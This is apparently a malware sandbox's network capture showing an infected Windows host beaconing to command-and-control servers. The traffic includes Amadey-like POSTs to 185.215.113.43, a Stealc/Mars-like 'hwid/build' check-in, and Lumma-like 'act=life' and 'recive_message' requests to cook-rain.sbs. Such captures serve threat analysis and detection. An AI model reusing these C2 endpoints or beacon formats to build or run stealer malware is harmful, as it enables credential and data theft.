Nov 21, 2024 14:12:24.485950947 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	50090	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:26.135440111 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 21, 2024 14:12:27.562604904 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	50097	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:29.306291103 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 14:12:30.636171103 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	50099	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:32.298144102 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Nov 21, 2024 14:12:33.716176987 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 13:12:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	50114	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:39.370477915 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 21, 2024 14:12:40.794147015 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:12:40 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 14:12:40.830130100 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDHJEBFBFHJECAKFCAAK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 46 43 35 42 38 43 39 44 42 33 34 37 36 35 32 32 35 30 37 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 48 4a 45 42 46 42 46 48 4a 45 43 41 4b 46 43 41 41 4b 2d 2d 0d 0a Data Ascii: ------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="hwid"0BFC5B8C9DB3476522507------HDHJEBFBFHJECAKFCAAKContent-Disposition: form-data; name="build"mars------HDHJEBFBFHJECAKFCAAK--
Nov 21, 2024 14:12:41.291419029 CET	210	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:12:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	50125	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:42.374692917 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 14:12:43.462549925 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 70726 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 14:12:43.482059956 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 14:12:43.813357115 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 70726 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	50135	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:44.050482988 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 14:12:45.149147034 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 21290 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 14:12:45.186594009 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 14:12:45.500905037 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 21291 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 14:12:45.686856985 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 14:12:46.001617908 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 21291 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 14:12:47.169228077 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 14:12:47.483406067 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 21 Nov 2024 07:17:54 GMT Age: 21293 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	50137	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 14:12:44.092469931 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 14:12:45.181865931 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 23667 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 14:12:45.366203070 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 14:12:45.680478096 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 23667 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 14:12:46.846060991 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 14:12:47.165900946 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 21 Nov 2024 06:38:18 GMT Age: 23669 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49923	188.114.97.3	443	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:30 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: cook-rain.sbs
2024-11-21 13:11:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-21 13:11:31 UTC	980	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fokfmtun0od220jmmnpv1mbrdo; expires=Mon, 17-Mar-2025 06:58:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q9r7fgDp0l1dJc5M3hN8oxt4rDUYp29vn8%2BvraA1Jl%2BrW1GTQBEO1vk47qXU66ZOCy927Hv1BwPHSCiGMRDegmRz%2FUszIUE1IHMKBJPsGRr5Xud6HQsA7DXDS77aKWY9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed124f9e1a2c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2057&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2829&recv_bytes=904&delivery_rate=1319475&cwnd=174&unsent_bytes=0&cid=fd6bb38a42176e1e&ts=904&x=0"
2024-11-21 13:11:31 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-21 13:11:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49930	188.114.97.3	443	4608	C:\Users\user\AppData\Local\Temp\1007936001\48f66b117f.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:11:32 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: cook-rain.sbs
2024-11-21 13:11:32 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-21 13:11:33 UTC	988	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:11:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=eb05929bnjv68va6aari0loj3k; expires=Mon, 17-Mar-2025 06:58:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A2LNfL9sau9j3MuO3J76%2FSF2Rr2%2BYUWgEQ%2FDN3p3K%2FuYiS%2F%2FKjlAK0GK6D7kjcAWIJpjBoWwNxcPbnvU03TZTu4Vc9HHg5kZqzauNB%2BHMuv945bA5PCQFGp8TRWF0dSa"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e60ed207b358c4e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1804&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=950&delivery_rate=1550716&cwnd=194&unsent_bytes=0&cid=e6ba90af33c89cf9&ts=746&x=0"
2024-11-21 13:11:33 UTC	381	IN	Data Raw: 31 35 32 30 0d 0a 2b 4d 74 65 6f 42 65 41 2f 74 56 65 64 32 45 6d 4b 67 6f 7a 33 6a 4c 43 43 72 59 2f 70 58 4b 53 32 39 4a 4c 6a 7a 62 66 4b 4e 53 44 36 53 69 43 4c 62 54 53 39 79 30 53 51 78 78 65 65 45 61 37 48 75 42 72 30 68 32 66 46 50 4f 33 6f 53 36 6a 46 4b 6c 46 39 73 4b 74 50 38 78 6b 35 64 4c 33 4f 77 39 44 48 48 46 78 45 62 74 63 34 44 43 55 57 73 38 51 38 37 65 77 4b 75 52 5a 72 30 53 33 6b 4b 63 35 79 48 4c 6a 6d 72 51 79 47 67 52 44 54 32 74 5a 73 46 75 76 59 74 73 64 69 56 44 33 6f 66 42 78 72 58 75 36 58 4c 57 31 71 69 33 4c 4e 66 33 53 72 6e 77 53 44 77 51 51 4b 46 4b 37 55 4b 35 73 30 6c 54 4e 47 76 71 2f 73 53 2f 6c 52 72 5a 4f 76 4a 43 70 4f 73 6c 34 36 6f 36 35 4f 42 30 50 52 55 56 72 45 66 49 51 70 33 43 55 42 59 64 44 77 72 71 68 4f Data Ascii: 1520+MteoBeA/tVed2EmKgoz3jLCCrY/pXKS29JLjzbfKNSD6SiCLbTS9y0SQxxeeEa7HuBr0h2fFPO3oS6jFKlF9sKtP8xk5dL3Ow9DHHFxEbtc4DCUWs8Q87ewKuRZr0S3kKc5yHLjmrQyGgRDT2tZsFuvYtsdiVD3ofBxrXu6XLW1qi3LNf3SrnwSDwQQKFK7UK5s0lTNGvq/sS/lRrZOvJCpOsl46o65OB0PRUVrEfIQp3CUBYdDwrqhO
2024-11-21 13:11:33 UTC	1369	IN	Data Raw: 36 4a 75 64 51 73 45 65 77 6d 71 6c 38 6a 44 58 6c 68 50 64 6b 56 53 42 42 57 47 39 64 71 68 4b 61 4b 4d 73 54 33 6c 44 33 74 66 42 78 72 56 79 34 53 62 57 52 70 6a 2f 4b 66 76 43 63 70 54 6f 59 42 6c 5a 4f 62 56 2b 32 55 37 4a 69 32 6c 76 45 47 66 75 77 74 53 37 70 46 50 4d 4b 73 59 4c 70 5a 49 4a 55 37 35 65 37 4e 67 49 44 42 46 63 6d 53 50 78 58 72 43 69 4d 48 63 4d 52 39 4c 69 30 4a 2b 4e 51 73 55 79 34 6c 36 59 36 79 48 58 6c 6c 72 38 30 46 41 35 50 52 32 68 55 73 56 53 6d 5a 4e 56 59 68 31 36 77 76 71 68 70 74 52 53 54 54 62 57 49 36 77 6e 42 65 2b 79 62 6f 58 77 4b 54 56 30 49 62 31 33 38 43 4f 42 6d 30 56 4c 56 45 65 4b 38 76 6a 76 68 55 62 74 48 74 5a 53 70 4f 63 56 34 37 4a 71 77 50 78 30 48 52 55 5a 6b 57 37 39 55 6f 79 69 61 48 63 41 49 73 4f Data Ascii: 6JudQsEewmql8jDXlhPdkVSBBWG9dqhKaKMsT3lD3tfBxrVy4SbWRpj/KfvCcpToYBlZObV+2U7Ji2lvEGfuwtS7pFPMKsYLpZIJU75e7NgIDBFcmSPxXrCiMHcMR9Li0J+NQsUy4l6Y6yHXllr80FA5PR2hUsVSmZNVYh16wvqhptRSTTbWI6wnBe+yboXwKTV0Ib138COBm0VLVEeK8vjvhUbtHtZSpOcV47JqwPx0HRUZkW79UoyiaHcAIsO
2024-11-21 13:11:33 UTC	1369	IN	Data Raw: 56 37 70 4a 75 35 32 6a 4d 73 56 78 37 70 57 36 4f 68 55 45 51 45 31 36 56 4c 56 63 72 43 69 61 48 63 41 49 73 4f 48 77 42 75 70 43 76 6d 57 31 69 36 42 38 33 54 76 37 33 4c 41 77 56 56 73 45 54 32 31 5a 74 31 61 6f 61 4d 5a 59 79 52 76 78 73 37 59 6f 34 46 69 37 53 72 65 61 72 7a 44 43 63 75 57 4f 70 54 6b 54 45 55 34 49 4a 68 47 37 53 4f 41 77 6c 47 76 58 42 2b 47 76 38 68 7a 75 57 72 4e 4e 6f 4e 71 32 63 74 73 31 35 5a 44 33 5a 46 55 49 52 45 52 76 57 62 70 55 71 47 66 62 56 4e 55 52 2f 4c 65 69 4c 75 31 64 73 30 57 36 6b 36 51 37 7a 33 37 6f 6b 62 4d 37 46 45 4d 4b 43 47 39 4a 2f 41 6a 67 58 73 52 51 79 7a 37 37 74 62 6c 70 38 68 71 6b 43 72 47 57 36 57 53 43 63 65 36 55 76 54 4d 63 43 55 35 48 59 56 47 30 57 61 6c 72 31 46 48 42 45 66 79 31 76 53 7a Data Ascii: V7pJu52jMsVx7pW6OhUEQE16VLVcrCiaHcAIsOHwBupCvmW1i6B83Tv73LAwVVsET21Zt1aoaMZYyRvxs7Yo4Fi7SrearzDCcuWOpTkTEU4IJhG7SOAwlGvXB+Gv8hzuWrNNoNq2cts15ZD3ZFUIRERvWbpUqGfbVNUR/LeiLu1ds0W6k6Q7z37okbM7FEMKCG9J/AjgXsRQyz77tblp8hqkCrGW6WSCce6UvTMcCU5HYVG0Walr1FHBEfy1vSz
2024-11-21 13:11:33 UTC	1369	IN	Data Raw: 50 61 46 35 79 57 43 63 75 37 63 37 33 77 5a 41 45 68 41 5a 31 65 31 58 4b 70 68 33 31 48 4d 46 50 79 77 74 53 2f 73 55 62 68 4c 73 70 61 6a 4f 73 46 32 37 5a 4f 34 4e 46 56 4e 42 45 39 77 45 65 51 51 68 58 2f 66 55 38 46 51 37 2f 65 70 61 65 70 59 2f 52 4c 32 6c 71 41 36 78 48 44 75 6e 62 45 30 45 41 74 41 53 57 35 58 76 31 2b 6b 62 64 56 53 77 78 7a 2b 73 37 45 6f 34 56 2b 79 51 62 50 61 35 33 7a 46 62 61 4c 45 39 77 30 57 46 56 4e 59 5a 42 47 6a 48 72 6b 6f 30 31 47 48 53 4c 43 34 6f 69 50 6e 57 72 68 46 73 35 6d 6d 4f 38 39 7a 37 70 61 2b 4e 42 4d 4d 54 56 70 72 58 62 4a 58 72 6d 54 61 55 4d 30 54 2f 66 6e 2b 61 65 70 4d 2f 52 4c 32 74 71 34 78 37 48 37 75 6d 2f 63 6a 57 78 6f 45 54 32 51 52 35 42 43 73 59 74 68 55 78 78 6e 31 73 62 73 67 36 46 57 32 Data Ascii: PaF5yWCcu7c73wZAEhAZ1e1XKph31HMFPywtS/sUbhLspajOsF27ZO4NFVNBE9wEeQQhX/fU8FQ7/epaepY/RL2lqA6xHDunbE0EAtASW5Xv1+kbdVSwxz+s7Eo4V+yQbPa53zFbaLE9w0WFVNYZBGjHrko01GHSLC4oiPnWrhFs5mmO89z7pa+NBMMTVprXbJXrmTaUM0T/fn+aepM/RL2tq4x7H7um/cjWxoET2QR5BCsYthUxxn1sbsg6FW2
2024-11-21 13:11:33 UTC	928	IN	Data Raw: 5a 79 32 7a 58 6c 6b 50 64 6b 56 51 56 4c 51 57 74 65 76 56 6d 73 5a 64 46 55 77 68 48 32 76 62 6f 6a 37 56 4b 37 53 37 4f 51 71 6a 33 49 66 4f 57 55 73 44 38 48 51 77 6f 49 62 30 6e 38 43 4f 42 42 30 30 2f 4a 41 4c 43 6d 2f 6a 43 74 55 37 45 4b 37 74 71 74 4e 73 31 78 35 5a 43 78 4f 52 4d 4f 52 55 64 70 55 62 4e 55 71 32 48 53 58 4d 6f 56 2f 62 32 69 49 2b 5a 62 73 55 4f 36 6c 2b 6c 79 67 6e 4c 36 33 4f 39 38 4a 41 35 4b 52 6d 39 48 2f 45 2f 75 63 5a 52 61 79 31 43 6f 2b 62 45 6c 34 6c 65 79 53 62 57 62 6f 79 37 51 65 65 75 55 73 6a 41 65 44 55 4a 61 62 6c 36 31 55 36 4e 68 30 31 58 4c 47 76 4f 2b 38 47 65 74 55 36 55 4b 37 74 71 4b 4b 39 4a 34 6f 6f 50 35 4a 56 55 45 53 41 67 77 45 62 52 64 71 47 4c 51 57 73 6f 58 39 72 43 69 49 4f 68 61 76 55 36 39 6c Data Ascii: Zy2zXlkPdkVQVLQWtevVmsZdFUwhH2vboj7VK7S7OQqj3IfOWUsD8HQwoIb0n8COBB00/JALCm/jCtU7EK7tqtNs1x5ZCxORMORUdpUbNUq2HSXMoV/b2iI+ZbsUO6l+lygnL63O98JA5KRm9H/E/ucZRay1Co+bEl4leySbWboy7QeeuUsjAeDUJabl61U6Nh01XLGvO+8GetU6UK7tqKK9J4ooP5JVUESAgwEbRdqGLQWsoX9rCiIOhavU69l
